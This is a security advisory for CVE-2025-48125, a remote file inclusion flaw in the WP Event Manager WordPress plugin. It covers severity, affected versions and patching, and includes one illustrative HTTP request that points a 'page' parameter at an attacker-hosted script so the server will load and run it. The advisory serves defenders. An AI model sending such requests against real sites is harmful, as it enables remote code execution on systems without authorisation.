Overview
CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote servers, allowing attackers to execute arbitrary code and potentially compromise the system. Given the widespread use of WP Event Manager and the severity of this vulnerability, it is crucial for administrators and developers to understand and address this issue promptly.
Vulnerability Summary
CVE ID: CVE-2025-48125
Severity: High (CVSS Score 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
WP Event Manager | Up to 3.1.49
How the Exploit Works
The vulnerability arises due to improper control of filenames for include/require statements in the PHP program of WP Event Manager. An attacker can manipulate these statements to include arbitrary PHP files from a remote server. The attacker’s server can deliver malicious scripts, which are then executed in the context of the application. This can lead to unauthorized disclosure, modification, or even total destruction of data.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.comIn this request, the attacker tries to exploit the vulnerability in the “page” parameter. The attacker provides a URL (http://attacker.com/malicious_script.txt) instead of a page name. If the application is vulnerable, it will include and execute the malicious_script.txt hosted on the attacker’s server.
Mitigation Guidance
The most effective way to mitigate this vulnerability is by applying the vendor’s patch. WP Event Manager version 3.1.50 and later have addressed this vulnerability. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking requests that appear to exploit this vulnerability. However, these measures do not fully address the underlying issue and should be combined with a patch as soon as possible. Regularly updating and patching software remains the best defense against potential exploits.